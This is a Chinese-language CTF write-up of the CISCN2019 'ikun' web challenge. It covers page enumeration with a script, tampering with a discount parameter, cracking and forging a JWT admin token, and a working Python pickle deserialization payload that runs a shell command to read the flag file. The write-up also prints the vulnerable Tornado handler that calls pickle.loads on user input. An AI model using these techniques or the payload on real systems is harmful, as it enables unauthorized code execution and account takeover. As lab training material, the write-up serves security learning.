[CISCN2019 华北赛区 Day1 Web2]ikun
进来发现让买到lv6,可以翻页,并且url会随之改变
翻了几页没找到lv6,脚本小子启动
import requests
url="http://30b74212-bc6f-465c-8b60-d9aeaa215b75.node4.buuoj.cn:81/shop?page="
for i in range(0,2000):
print(i)
r=requests.get( url + str(i) )
if 'lv6.png' in r.text:
print (i)
break
发现lv6在181页,修改url火速赶往181页
点击购买,需要注册注册完了之后,发现钱不够但是有折扣,直接f12找到折扣修改
点击购买的时候发现
该页面只允许admin访问,并且在f12的application中cookie中发现了jwt:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.8iYM4QgkAw4NpjpP8tEn7MBbZoF-Kj8YRbosz3Qrr-Q
此时需要修改名字为admin,但是不知道密钥,需要爆破密钥,暴力破解密钥:
工具:https://github.com/brendan-rius/c-jwt-cracker
然后就是构造jwt,jwt在线编辑网站:jwt在线编辑网站:JSON Web Tokens - jwt.io
然后bp抓包,再点击购买,修改折扣的同时,jwt也要修改:
然后放包,就发现购买成功了
点击一键成为大会员,页面没有发生变化,f12查看源码发现了zip文件
下载获得一个文件夹和一个main.py,往下目录里面看发现了Admin.py,在其中发现了pickle反序列化漏洞
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
二话不说,脚本小子再次出击:
import pickle
import urllib
import commands
class Try(object):
def __reduce__(self):
return (commands.getoutput, ('cat /flag.txt',))
a = Try()
print(urllib.quote(pickle.dumps(a)))
ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.
然后返回bp,点击一键成为大会员,在bp上become一栏修改为我们得到的payload,即可获得flag